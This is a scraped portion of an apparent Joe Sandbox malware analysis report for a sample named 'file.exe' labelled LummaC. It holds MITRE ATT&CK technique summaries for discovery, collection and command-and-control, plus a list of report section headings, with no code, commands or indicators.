Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
file.exe